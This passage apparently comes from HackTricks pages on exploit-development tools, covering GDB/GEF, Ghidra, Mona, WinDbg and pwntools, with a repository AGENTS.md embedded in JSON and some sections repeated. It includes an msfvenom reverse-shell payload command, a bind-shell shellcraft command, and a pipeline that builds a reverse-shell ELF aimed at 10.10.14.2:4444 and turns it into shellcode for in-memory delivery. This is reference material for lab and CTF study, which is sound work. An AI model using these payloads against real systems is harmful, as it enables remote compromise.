Detailed stack\nprint variable\nprint 0x87654321 - 0x12345678 # Calculate\n\n# x/examine\nexamine/ dir_mem/reg/puntero # Shows content of in where each entry is a \nx/o 0xDir_hex\nx/2x $eip # 2Words from EIP\nx/2x $eip -4 # $eip - 4\nx/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)\ni r eip # Value of $eip\nx/w pointer # Value of the pointer\nx/s pointer # String pointed by the pointer\nx/xw &pointer # Address where the pointer is located\nx/i $eip # Instructions of the EIP\n```\n\n### [GEF](https://github.com/hugsy/gef)\n\nYou can optionally use [this GEF fork](https://github.com/bata24/gef), which includes additional commands.\n\n```bash\nhelp memory # Get help on memory command\ncanary # Search for canary value in memory\nchecksec #Check protections\np system #Find system function address\nsearch-pattern \"/bin/sh\" #Search in the process memory\nvmmap #Get memory mappings\nxinfo # Shows page, size, perms, memory area and offset of the addr in the page\nmemory watch 0x784000 0x1000 byte # Add a persistent view of this memory\ngot #Check got table\nmemory watch $_got()+0x18 5 #Watch a part of the got table\n\n# Vulns detection\nformat-string-helper #Detect insecure format strings\nheap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap\n\n#Patterns\npattern create 200 #Generate length 200 pattern\npattern search \"avaaawaa\" #Search for the offset of that substring\npattern search $rsp #Search the offset given the content of $rsp\n\n#Shellcode\nshellcode search x86 #Search shellcodes\nshellcode get 61 #Download shellcode number 61\n\n#Dump memory to file\ndump binary memory /tmp/dump.bin 0x200000000 0x20000c350\n\n#Another way to get the offset of to the RIP\n1- Put a breakpoint after the function that overwrites RIP and send a pattern that reaches it\n2- ef➤ i f\nStack level 0, frame at 0x7fffffffddd0:\n rip = 0x400cd3; saved rip = 0x6261617762616176\n called by frame at 0x7fffffffddd8\n Arglist at 0x7fffffffdcf8, args:\n Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0\n Saved registers:\n rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8\ngef➤ pattern search 0x6261617762616176\n[+] Searching for '0x6261617762616176'\n[+] Found at offset 184 (little-endian search) likely\n```\n\n### Tricks\n\n#### GDB same addresses\n\nWhile debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:\n\n- `unset env LINES`\n- `unset env COLUMNS`\n- `set env _=` _Put the absolute path to the binary_\n- Exploit the binary using the same absolute route\n- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary\n\n#### Backtrace to find functions called\n\nIn a **statically linked binary**, all functions belong to the binary rather than external libraries. This can make it difficult to identify the call flow that eventually asks for user input.\\\nRun the binary with **GDB** until it asks for input, interrupt it with **Ctrl+C**, and use **`bt`** (**backtrace**) to see the active call chain:\n\n```\ngef➤ bt\n#0 0x00000000004498ae in ?? ()\n#1 0x0000000000400b90 in ?? ()\n#2 0x0000000000400c1d in ?? ()\n#3 0x00000000004011a9 in ?? ()\n#4 0x0000000000400a5a in ?? ()\n```\n\n### GDB server\n\n`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)\n\n## Ghidra\n\nGhidra's disassembler and decompiler expose stack-variable layouts that help calculate the distance from a vulnerable local buffer to saved frame data.[[3]](#references)\n\n### Find stack offset\n\n**Ghidra** is useful for finding a **buffer-overflow offset** from the positions of local variables. In the example below, an overflow beginning at `local_bc` has these relevant distances:\n\n- `0xac` bytes to `local_10`, if that variable is the stack canary.\n- `0xbc` bytes to the frame base and saved RBP in a conventional x86-64 frame.\n- `0xc4` bytes to the saved RIP: `0xbc` bytes to saved RBP plus its eight-byte (`0x08`) slot.\n\nConfirm the exact compiler-generated frame in the disassembly because frame-pointer omission or a different prologue changes this layout.\n\n![Ghidra stack layout used to calculate a buffer-overflow offset](<../../../images/image (1061).png>)\n\nFor scripted queries and analysis-database edits in an open IDA or Ghidra project, see the [local TCP bridge workflow](../../../reversing/reversing-tools-basic-methods/#scripted-ida-and-ghidra-analysis-with-a-local-tcp-bridge).\n\n## qtool\n\n```bash\nqltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog\n```\n\nGet every opcode executed in the program.\n\n## GCC\n\nThese compiler and linker options create deliberately unprotected lab binaries. Use them only in an isolated practice environment; GCC documents the compiler-side options in its option index.[[4]](#references)\n\n**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\\\n**-o** --> Output\\\n**-g** --> Save code (GDB will be able to see it)\\\n**echo 0 > /proc/sys/kernel/randomize_va_space** --> Disable ASLR on Linux\n\n**To compile a shellcode:**\\\n**nasm -f elf assembly.asm** --> return a \".o\"\\\n**ld assembly.o -o shellcodeout** --> Executable\n\n## Objdump\n\nGNU `objdump` displays object-file headers, symbols, relocations, section contents, and disassembly; the options below select those views.[[5]](#references)\n\n**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\\\n**-Mintel** --> **Intel** syntax\\\n**-t** --> **Symbols** table\\\n**-D** --> **Disassemble all** (address of static variable)\\\n**-s -j .dtors** --> dtors section\\\n**-s -j .got** --> got section\\\n-D -s -j .plt --> **plt** section **decompiled**\\\n**-TR** --> **Relocations**\\\n**objdump -t --dynamic-reloc ./exec | grep puts** --> Address of `puts` to modify in the GOT\\\n**objdump -D ./exec | grep \"VAR_NAME\"** --> Address or a static variable (those are stored in DATA section).\n\n## Core dumps\n\n1. Run `ulimit -c unlimited` before starting my program\n2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`\n3. sudo gdb --core=\\ --quiet\n\n## More\n\n**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\\\n**for i in \\`seq 0 20\\`; do ldd \\ | grep libc; done** --> Loop to observe how much the address changes\\\n**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of \"system\"\\\n**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of \"/bin/sh\"\n\n**strace executable** --> Functions called by the executable\\\n**rabin2 -i executable** --> Addresses of imported functions\n\n## WinDbg and WinDbgX user-mode launch and attach\n\nWhen reproducing a Windows heap corruption, first decide whether to **launch** the target under WinDbg or attach to an already running process. A debugger-created process can use different heap validation settings and allocation geometry from a normal run. In Corelan's x86 test, Classic WinDbg set `NtGlobalFlag` to `0x70` (tail, free, and parameter checks), while WinDbgX set `0x10` (tail check); an allocation gap changed from `0x5008` to `0x5018` under Classic. These are observed values, not portable offsets for an exploit. Check the target rather than assuming its heap matches a run outside the debugger.[[10]](#references)\n\nTo avoid WinDbg's default debug heap while still observing startup, pass `-hd` **and the executable together** when starting the debugger. Microsoft documents `-hd` for a debugger-created process.[[11]](#references)[[12]](#references)\n\nStarting WinDbg with `-hd` and later choosing **Open Executable** in the GUI did not suppress the automatically enabled flags in Corelan's test. Inspect the live PEB and global flags after the initial break. `-hd` does not hide the debugger itself: `BeingDebugged` can still be set, and persistent Image File Execution Options `GlobalFlag` settings can also affect new processes.[[10]](#references)\n\n```text\nwindbg.exe -hd C:\\path\\target.exe\nwindbgx.exe -hd C:\\path\\target.exe\n!gflag\n!peb\ndt nt!_PEB @$peb NtGlobalFlag\n```\n\nFor an already running target, `windbg.exe -p ` makes an **invasive attach** without retroactively enabling WinDbg's launch-time heap flags; it gives breakpoint and execution control but cannot observe initialization that already occurred.[[10]](#references)\n\nUse `windbg.exe -pv -p ` for a **noninvasive attach** when inspection without debug-port ownership is sufficient. It still suspends target threads to read state, but cannot run the target under debugger control, set breakpoints, or intercept exceptions.[[13]](#references)\n\nA debugger-created process stops at the loader's initial breakpoint before the executable's PE entry point; `bp @$exentry` then `bl` and `g` stop at that entry point without hard-coding an ASLR-dependent address. This is the PE entry point, not necessarily `main`.[[10]](#references)[[14]](#references) For event-driven logging and conditional breakpoints, see [WinDbg automation](../../../reversing/reversing-tools-basic-methods/windbg-automation.md). For allocation-selection work, see [Windows heap grooming](../../windows-userland-heap-grooming.md).\n\n```text\nbp @$exentry\nbl\ng\n```\n\n## **Immunity Debugger**\n\n```bash\n!mona modules #Get protections, look for all false except last one (Dll of SO)\n!mona find -s \"\\xff\\xe4\" -m name_unsecure.dll # Search for opcodes inside the DLL (JMP ESP)\n```\n\n## Mona v3 setup and searches\n\nFor current x86 or x64 Windows userland debugging, keep `mona.py` and `windbglib.py` together in one directory. Install PyKD and its `pykd-ext` bootstrapper for the Python interpreter used by WinDbg. Load the bootstrapper, **not** an old `pykd.pyd` from the debugger directory; then invoke Mona by full path or create an alias. The maintained setup and installer are in the [Mona v3 repository](https://github.com/corelan/mona3).[[8]](#references)[[9]](#references)\n\n```text\n!load pykd\n!py -3.9 C:\\Tools\\mona3\\mona.py\nas !mona !py -3.9 C:\\Tools\\mona3\\mona.py\n!mona config -set workingfolder C:\\logs\\%p\n```\n\nInstall `keystone-engine` into the **same Python architecture** used by PyKD. WinDbg cannot assemble arbitrary x64 mnemonics itself, so Mona's `asm` and `findwild` need Keystone for reliable x64 instruction searches; without it, Mona has only a limited instruction cache. On x86, Keystone is preferred when available. For a dual-architecture Python 3.9 setup, install it in both interpreters.[[8]](#references)[[9]](#references)\n\n```text\npy -3.9-32 -m pip install keystone-engine\npy -3.9-64 -m pip install keystone-engine\n!mona asm -s \"jmp eax\"\n```\n\n### Search scope and pointer constraints\n\nMost Mona pointer searches default to non-rebased, non-ASLR modules and executable pages; SEH searches also exclude SafeSEH modules. A blank result may therefore mean the relevant module or page was filtered, not that no gadget exists. `findwild` searches all executable pages, while `getiat` and `geteat` include all modules. Inspect the active criteria printed in the command output before widening a search.[[9]](#references)\n\nUse `-m` to restrict the search to a named module (also overriding the default module criteria), for example after leaking an ASLR module's base. Alternatively, `-cmp` matches a regular expression against a module's full path and `-cm` sets mitigation criteria such as `aslr`, `rebase`, `safeseh`, `nx`, and `cfg`. `-cpb` rejects measured bad bytes in pointer addresses, while `-x R` changes the default executable-page requirement to readable pages. An address found in an ASLR module still requires a valid runtime base; a readable non-executable page is not a code target when DEP applies. See [Windows SEH exploitation](../../stack-overflow/windows-seh-overflow.md) and [stack pivoting](../../stack-overflow/stack-pivoting.md) for the underlying techniques.[[9]](#references)\n\n```text\n!mona jmp -r esp -cpb '\\x00\\x0a\\x0d' # x86 register trampoline\n!mona jmp -r esp -m example.dll # include a selected module after a leak\n!mona rop -cm aslr=true,rebase=true # include mitigated modules deliberately\n!mona mod -cmp example # inspect matching module paths/mitigations\n```\n\n## Mona v3 debugger-context requests for crash triage\n\nMona v3's `!mona tellme` (alias `!mona ai`) packages a live WinDbg/WinDbgX snapshot into `tellme_request.md`. The command was added after the initial v3 release, so run `!mona up` if it is missing. It can submit that request to an AI engine, but the saved request is also useful without one. Use `-offline` explicitly when a default engine may be configured: otherwise Mona asks for confirmation and can send process memory, symbols, input files, and heap history to the provider. Inspect the text between `PROMPT BEGIN` and `PROMPT END` before sharing it. These outputs are hypotheses, not proof of exploitability.[[7]](#references)[[8]](#references)\n\n### Crash and function profiles\n\nFor a crash, `-q 1` collects registers, instruction and stack memory, module/page and heap metadata, the call stack, 32-bit SEH state, and silent `findmsp` cyclic-pattern results. If a register points into a pattern, Mona can add a first trampoline candidate from non-ASLR, non-rebased modules; `-cpb` filters pointer bytes using the target's *measured* bad characters. `-a` adds a heap or memory target, while `-l` can supply allocation/free evidence and `-p` the triggering input. The candidate still needs manual offset, permissions, mitigation, and path validation.[[7]](#references)\n\n```text\n!mona tellme -q 1 -offline -cpb '\\x00\\x0a\\x0d'\n!mona tellme -q 1 -a eax -l alloc.txt -p poc.py -offline\n```\n\nFor code comprehension, `-q 2` resolves the function containing the live EIP/RIP, gathers its disassembly and symbols where available, then follows direct calls and unconditional jumps. `-d` increases traversal depth; `-a` adds a different code address or symbol when the current PC is corrupted or another routine matters. Validate the resulting explanation against the actual branches and runtime state.[[7]](#references)\n\n```text\n!mona tellme -q 2 -a kernel32!CreateFileW -d 2 -offline\n```\n\n### Controlled heap-chunk reachability\n\nBreak where a chunk is known to be attacker-controlled, then use `-q 3 -c` with its address, register, or debugger expression. Mona records the owning chunk, a pointer-sized dump, and registers/stack slots pointing into it. Without `-t`, the request searches for chunk-derived write destinations or indirect dispatch sinks; with `-t`, it asks whether changing only chunk bytes can reach a specific code address. The context also follows direct calls/jumps **and caller return-resume paths**, so a sink after the current function returns is not silently ignored. For this profile `-d` also controls inspected caller frames (default 2, maximum 4); deeper snapshots can become too large for automated submission.[[7]](#references)\n\n```text\n!mona tellme -q 3 -c eax -offline\n!mona tellme -q 3 -c poi(esp+4) -t kernel32!VirtualProtect -d 2 -offline\n```\n\n### Reuse a reviewed request\n\nBuilt-in runs produce `ai.q1`, `ai.q2`, or `ai.q3` templates, but those files are overwritten and are **not** automatically used by the corresponding profile. Copy one, edit its instructions and `[variable]` placeholders, then load the copy with `-q 9 -f`. A custom file may put instructions before `Debugger request JSON:` and a `variables` object containing fields such as `[registers]`, `[pc_disasm]`, `[findmsp]`, and `[heapdynamics]`. An already completed request with no unresolved placeholders can also be reused without recollecting debugger context.[[7]](#references)\n\n```text\n!mona tellme -q 9 -f custom_ai.q1 -offline\n```\n\n## IDA\n\n### Debugging in remote linux\n\nIDA includes remote debugging servers for supported platforms. Copy `linux_server` or `linux_server64` to the Linux target and run it from the directory containing the program being debugged.[[6]](#references)\n\n```\n./linux_server64 -Ppass\n```\n\nThen configure **Debugger → Remote Linux debugger → Process options**:\n\n![IDA remote Linux debugger process options](<../../../images/image (858).png>)\n\n## References\n\n- [1] [Metasploit documentation - How to use `msfvenom`](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)\n- [2] [GNU GDB manual](https://sourceware.org/gdb/current/onlinedocs/gdb)\n- [3] [NSA - Ghidra Software Reverse Engineering Framework](https://github.com/NationalSecurityAgency/ghidra)\n- [4] [GCC option index](https://gcc.gnu.org/onlinedocs/gcc/Option-Index.html)\n- [5] [GNU Binutils - `objdump`](https://sourceware.org/binutils/docs/binutils/objdump.html)\n- [6] [Hex-Rays - Remote debugging with IDA](https://docs.hex-rays.com/user-guide/debugger/remote-debugging)\n- [7] [Corelan - Mona, tellme: AI-assisted analysis](https://corelan.be/index.php/2026/05/14/mona-tellme)\n- [8] [Corelan - Mona v3](https://github.com/corelan/mona3)\n- [9] [Corelan - Mona v3 Released](https://corelan.be/index.php/2026/05/01/mona-v3-released/)\n- [10] [Corelan - Debugging: WinDBG & WinDBGX Fundamentals](https://corelan.be/index.php/2026/03/23/debugging-windbg-windbgx-fundamentals)\n- [11] [Microsoft - Debugging a User-Mode Process Using WinDbg](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-a-user-mode-process-using-windbg)\n- [12] [Microsoft - WinDbg Command-Line Options](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg-command-line-options)\n- [13] [Microsoft - Noninvasive Debugging (User Mode)](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/noninvasive-debugging--user-mode-)\n- [14] [Microsoft - Pseudo-Register Syntax](https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/pseudo-register-syntax)\n","isInternal":false,"tokens":5383,"sizeBytes":20094}],"systemPromptSnippet":"\n\n# AGENTS.md\n\nGuidance for future agents working in this repository.\n\n## Repository Context\n\nThis is the main HackTricks mdBook repository. The related cloud book lives at:\n\n`/Users/carlospolop/git/hacktricks-cloud`\n\nChanges to shared theme/search behavior often need to be applied in both repositories.\n\n## Search Index Loading Contract\n\nThe custom search UI lives in:\n\n`theme/ht_searcher.js`\n\nThere may also be a generated copy at:\n\n`book/theme/ht_searcher.js`\n\nIf production is deploying the already-built `book/` directory, update both copies or rebuild the\nbook before deployment.\n\nThe search index source policy is important and cost-sensitive:\n\n- On public hosts, load every language-specific and fallback candidate only from\n `HackTricks-wiki/hacktricks-searchindex`. Never fall back to the same-origin mdBook output;\n serving the large index from `hacktricks.wiki` in production is expensive.\n- On localhost, `.local`/`.internal` hosts, loopback, RFC1918, carrier-grade NAT, link-local, or\n private IPv6 addresses, load only the same-origin mdBook output so local/container deployments\n remain self-contained. For a non-English page, try the language-prefixed local path first (for\n example `/es/searchindex.js`) and use the root English index only as a fallback.\n\nFor this repo, the expected local fallback is:\n\n`/searchindex.js`\n\nOn private hosts, the cloud index is unavailable from this origin and must not trigger a remote\ndownload. On public hosts it should use the remote `searchindex-cloud-.js.gz` files.\n\n## Search Index Publishing\n\nThe workflows that publish encrypted compressed search indexes to\n`HackTricks-wiki/hacktricks-searchindex` are:\n\n- `.github/workflows/build_master.yml`\n- `.github/workflows/translate_all.yml`\n\nThe generated source file is `book/searchindex.js`. The published remote artifact names are:\n\n- `searchindex-v2-en.json.gz` (preferred compact index)\n- `searchindex-v2-.json.gz` (preferred compact index)\n- `searchindex-en.js.gz`\n- `searchindex-.js.gz`\n\nThe browser loader prefers the compact v2 artifact and keeps the `.js.gz` artifact as a legacy\nfallback. Both are XOR-encrypted gzip payloads using the key defined in `theme/ht_searcher.js`.\n\nThe loader must stay lazy: normal page navigation must not create the search worker or download an\nindex until the visitor opens or uses search. Remote compressed responses are persisted in Cache\nStorage for 24 hours per origin so subsequent pages can reuse them. Preserve the stale-cache\nfallback when refreshing an expired entry fails.\n\n## Build And Validation\n\nCommon local checks:\n\n- `node --check theme/ht_searcher.js`\n- `node --test scripts/test_search.js` (matching, ranking, UI, source policy, and cache regressions)\n- `HT_SEARCH_CORPUS=1 node --test scripts/test_search.js` (also checks both generated books when present)\n- `mdbook build`\n\nIf `mdbook build` fails, check:\n\n- `hacktricks-preprocessor-error.log`\n- `hacktricks-preprocessor.log`\n\n## Editing Notes\n\n- Prefer `rg` for searching.\n- Keep generated `book/` output out of commits unless explicitly requested. Search loader fixes are\n an exception when the already-built pages must be corrected immediately.\n- If changing shared theme behavior, compare and update the matching file in\n `/Users/carlospolop/git/hacktricks-cloud`.\n- Do not revert unrelated local changes.\n\n## Branch hygiene\n\n- **Use the configured default branch.** Check the repository setting; it may be `main`, `master`, or something else. Base ordinary work on it and merge approved changes back into it. Target release branches only when required. Respect reviews, checks, and branch protection.\n- **Create only needed branches.** Check `git status` and worktrees first. Use one short-lived branch per change, reuse it for revisions, and preserve others' work. Avoid speculative or duplicate branches.\n- **Clean up after a verified merge.** Confirm the changes landed, including after squash/rebase, and that no open PR or unmerged work needs the branch. Delete only your completed task's remote/local branch and worktree; prune stale refs. Never delete default, protected, shared, or unrelated branches.\n- **Leave a clean environment.** Check for leftover branches, worktrees, and uncommitted changes. Clean up safely or explain what must remain; never merge or delete when authorization or safety is uncertain.\n\n\n# PwnTools\n\n{{#include ../../../banners/hacktricks-training.md}}\n\n```\npip3 install pwntools\n```\n\n## Pwn asm\n\nGet **opcodes** from line or file.\n\n```\npwn asm \"jmp esp\"\npwn asm -i \n```\n\n**Can select:**\n\n- output type (raw,hex,string,elf)\n- output file context (16,32,64,linux,windows...)\n- avoid bytes (new lines, null, a list)\n- select encoder debug shellcode using gdb run the output\n\n## **Pwn checksec**\n\nChecksec script\n\n```\npwn checksec \n```\n\n## Pwn constgrep\n\n## Pwn cyclic\n\nGet a pattern\n\n```\npwn cyclic 3000\npwn cyclic -l faad\n```\n\n**Can select:**\n\n- The used alphabet (lowercase chars by default)\n- Length of uniq pattern (default 4)\n- context (16,32,64,linux,windows...)\n- Take the offset (-l)\n\n## Pwn debug\n\nAttach GDB to a process\n\n```\npwn debug --exec /bin/bash\npwn debug --pid 1234\npwn debug --process bash\n```\n\n**Can select:**\n\n- By executable, by name or by pid context (16,32,64,linux,windows...)\n- gdbscript to execute\n- sysrootpath\n\n## Pwn disablenx\n\nDisable nx of a binary\n\n```\npwn disablenx \n```\n\n## Pwn disasm\n\nDisas hex opcodes\n\n```\npwn disasm ffe4\n```\n\n**Can select:**\n\n- context (16,32,64,linux,windows...)\n- base address\n- color(default)/no color\n\n## Pwn elfdiff\n\nPrint differences between 2 files\n\n```\npwn elfdiff \n```\n\n## Pwn hex\n\nGet hexadecimal representation\n\n```bash\npwn hex hola #Get hex of \"hola\" ascii\n```\n\n## Pwn phd\n\nGet hexdump\n\n```\npwn phd \n```\n\n**Can select:**\n\n- Number of bytes to show\n- Number of bytes per line highlight byte\n- Skip bytes at beginning\n\n## Pwn pwnstrip\n\n## Pwn scramble\n\n## Pwn shellcraft\n\nGet shellcodes\n\n```\npwn shellcraft -l #List shellcodes\npwn shellcraft -l amd #Shellcode with amd in the name\npwn shellcraft -f hex amd64.linux.sh #Create in C and run\npwn shellcraft -r amd64.linux.sh #Run to test. Get shell\npwn shellcraft -r amd64.linux.bindsh 9095 #Bind SH to port\n```\n\n**Can select:**\n\n- shellcode and arguments for the shellcode\n- Out file\n- output format\n- debug (attach dbg to shellcode)\n- before (debug trap before code)\n- after\n- avoid using opcodes (default: not null and new line)\n- Run the shellcode\n- Color/no color\n- list syscalls\n- list possible shellcodes\n- Generate ELF as a shared library\n\n## Pwn template\n\nGet a python template\n\n```\npwn template\n```\n\n**Can select:** host, port, user, pass, path and quiet\n\n## Pwn unhex\n\nFrom hex to string\n\n```\npwn unhex 686f6c61\n```\n\n## Pwn update\n\nTo update pwntools\n\n```\npwn update\n```\n\n## ELF → raw shellcode packaging (loader_append)\n\nPwntools' `loader_append` can append an ELF to loader shellcode that maps the embedded ELF and transfers execution to it. This is useful for controlled memory-loader research, but architecture, ABI, executable-memory policy, relocations, and target process constraints still apply.[[1]](#references)[[2]](#references)\n\nTypical pipeline (amd64 example)\n\n1) Build a static, position‑independent payload ELF (musl recommended for portability):\n\n```bash\nmusl-gcc -O3 -s -static -o exploit exploit.c \\\n -DREV_SHELL_IP=\"\\\"10.10.14.2\\\"\" -DREV_SHELL_PORT=\"\\\"4444\\\"\"\n```\n\n2) Convert ELF → shellcode with pwntools:\n\n```python\n# exp2sc.py\nfrom pwn import *\ncontext.clear(arch='amd64')\nelf = ELF('./exploit')\nsc = asm(shellcraft.loader_append(elf.data, arch='amd64'))\nopen('sc','wb').write(sc)\nprint(f\"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes\")\n```\n\n3) Deliver sc to a memory loader (e.g., via HTTP[S]) and execute in‑process.\n\nNotes\n- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry.[[1]](#references)\n- Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android.\n- Keep your payload’s code position‑independent and avoid assumptions about process ASLR/NX.\n\n## References\n\n- [1] [Pwntools documentation](https://docs.pwntools.com/en/stable/)\n- [2] [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)\n\n{{#include ../../../banners/hacktricks-training.md}}\n\n\n# Exploiting Tools\n\n{{#include ../../../banners/hacktricks-training.md}}\n\n## Metasploit\n\nMetasploit supplies cyclic-pattern helpers, opcode-search utilities, and `msfvenom` for generating payloads in formats suitable for exploit development.[[1]](#references)\n\n```bash\npattern_create.rb -l 3000 #Length\npattern_offset.rb -l 3000 -q 5f97d534 #Search offset\nnasm_shell.rb\nnasm> jmp esp #Get opcodes\nmsfelfscan -j esi /opt/fusion/bin/level01\n```\n\n### Shellcodes\n\n```bash\nmsfvenom -p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b \"\\x00\\x0a\\x0d\" -f c\n```\n\n## GDB\n\nGDB can start or attach to a process, control execution, inspect memory and registers, and modify program state while debugging.[[2]](#references)\n\n### Install\n\n```bash\napt-get install gdb\n```\n\n### Parameters\n\n```bash\n-q # Do not show the banner\n-x # Auto-execute GDB instructions from here\n-p # Attach to process\n```\n\n### Instructions\n\n```bash\nrun # Execute\nstart # Start and break in main\nn/next/ni # Execute next instruction (no inside)\ns/step/si # Execute next instruction\nc/continue # Continue until next breakpoint\np system # Find the address of the system function\nset $eip = 0x12345678 # Change value of $eip\nhelp # Get help\nquit # exit\n\n# Disassemble\ndisassemble main # Disassemble the function called main\ndisassemble 0x12345678 # Disassemble that address\nset disassembly-flavor intel # Use intel syntax\nset follow-fork-mode child/parent # Follow child/parent process\n\n# Breakpoints\nbr func # Add breakpoint to function\nbr *func+23\nbr *0x12345678\ndel # Delete that number of breakpoint\nwatch EXPRESSION # Break if the value changes\n\n# info\ninfo functions --> Information about functions\ninfo functions func --> Information about matching functions\ninfo registers --> Value of the registers\nbt # Backtrace Stack\nbt full # Detailed stack\nprint variable\nprint 0x87654321 - 0x12345678 # Calculate\n\n# x/examine\nexamine/ dir_mem/reg/puntero # Shows content of in where each entry is a \nx/o 0xDir_hex\nx/2x $eip # 2Words from EIP\nx/2x $eip -4 # $eip - 4\nx/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)\ni r eip # Value of $eip\nx/w pointer # Value of the pointer\nx/s pointer # String pointed by the pointer\nx/xw &pointer # Address where the pointer is located\nx/i $eip # Instructions of the EIP\n```\n\n### [GEF](https://github.com/hugsy/gef)\n\nYou can optionally use [this GEF fork](https://github.com/bata24/gef), which includes additional commands.\n\n```bash\nhelp memory # Get help on memory command\ncanary # Search for canary value in memory\nchecksec #Check protections\np system #Find system function address\nsearch-pattern \"/bin/sh\" #Search in the process memory\nvmmap #Get memory mappings\nxinfo # Shows page, size, perms, memory area and offset of the addr in the page\nmemory watch 0x784000 0x1000 byte # Add a persistent view of this memory\ngot #Check got table\nmemory watch $_got()+0x18 5 #Watch a part of the got table\n\n# Vulns detection\nformat-string-helper #Detect insecure format strings\nheap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap\n\n#Patterns\npattern create 200 #Generate length 200 pattern\npattern search \"avaaawaa\" #Search for the offset of that substring\npattern search $rsp #Search the offset given the content of $rsp\n\n#Shellcode\nshellcode search x86 #Search shellcodes\nshellcode get 61 #Download shellcode number 61\n\n#Dump memory to file\ndump binary memory /tmp/dump.bin 0x200000000 0x20000c350\n\n#Another way to get the offset of to the RIP\n1- Put a breakpoint after the function that overwrites RIP and send a pattern that reaches it\n2- ef➤ i f\nStack level 0, frame at 0x7fffffffddd0:\n rip = 0x400cd3; saved rip = 0x6261617762616176\n called by frame at 0x7fffffffddd8\n Arglist at 0x7fffffffdcf8, args:\n Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0\n Saved registers:\n rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8\ngef➤ pattern search 0x6261617762616176\n[+] Searching for '0x6261617762616176'\n[+] Found at offset 184 (little-endian search) likely\n```\n\n### Tricks\n\n#### GDB same addresses\n\nWhile debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:\n\n- `unset env LINES`\n- `unset env COLUMNS`\n- `set env _=` _Put the absolute path to the binary_\n- Exploit the binary using the same absolute route\n- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary\n\n#### Backtrace to find functions called\n\nIn a **statically linked binary**, all functions belong to the binary rather than external libraries. This can make it difficult to identify the call flow that eventually asks for user input.\\\nRun the binary with **GDB** until it asks for input, interrupt it with **Ctrl+C**, and use **`bt`** (**backtrace**) to see the active call chain:\n\n```\ngef➤ bt\n#0 0x00000000004498ae in ?? ()\n#1 0x0000000000400b90 in ?? ()\n#2 0x0000000000400c1d in ?? ()\n#3 0x00000000004011a9 in ?? ()\n#4 0x0000000000400a5a in ?? ()\n```\n\n### GDB server\n\n`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)\n\n## Ghidra\n\nGhidra's disassembler and decompiler expose stack-variable layouts that help calculate the distance from a vulnerable local buffer to saved frame data.[[3]](#references)\n\n### Find stack offset\n\n**Ghidra** is useful for finding a **buffer-overflow offset** from the positions of local variables. In the example below, an overflow beginning at `local_bc` has these relevant distances:\n\n- `0xac` bytes to `local_10`, if that variable is the stack canary.\n- `0xbc` bytes to the frame base and saved RBP in a conventional x86-64 frame.\n- `0xc4` bytes to the saved RIP: `0xbc` bytes to saved RBP plus its eight-byte (`0x08`) slot.\n\nConfirm the exact compiler-generated frame in the disassembly because frame-pointer omission or a different prologue changes this layout.\n\n![Ghidra stack layout used to calculate a buffer-overflow offset](<../../../images/image (1061).png>)\n\nFor scripted queries and analysis-database edits in an open IDA or Ghidra project, see the [local TCP bridge workflow](../../../reversing/reversing-tools-basic-methods/#scripted-ida-and-ghidra-analysis-with-a-local-tcp-bridge).\n\n## qtool\n\n```bash\nqltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog\n```\n\nGet every opcode executed in the program.\n\n## GCC\n\nThese compiler and linker options create deliberately unprotected lab binaries. Use them only in an isolated practice environment; GCC documents the compiler-side options in its option index.[[4]](#references)\n\n**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\\\n**-o** --> Output\\\n**-g** --> Save code (GDB will be able to see it)\\\n**echo 0 > /proc/sys/kernel/randomize_va_space** --> Disable ASLR on Linux\n\n**To compile a shellcode:**\\\n**nasm -f elf assembly.asm** --> return a \".o\"\\\n**ld assembly.o -o shellcodeout** --> Executable\n\n## Objdump\n\nGNU `objdump` displays object-file headers, symbols, relocations, section contents, and disassembly; the options below select those views.[[5]](#references)\n\n**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\\\n**-Mintel** --> **Intel** syntax\\\n**-t** --> **Symbols** table\\\n**-D** --> **Disassemble all** (address of static variable)\\\n**-s -j .dtors** --> dtors section\\\n**-s -j .got** --> got section\\\n-D -s -j .plt --> **plt** section **decompiled**\\\n**-TR** --> **Relocations**\\\n**objdump -t --dynamic-reloc ./exec | grep puts** --> Address of `puts` to modify in the 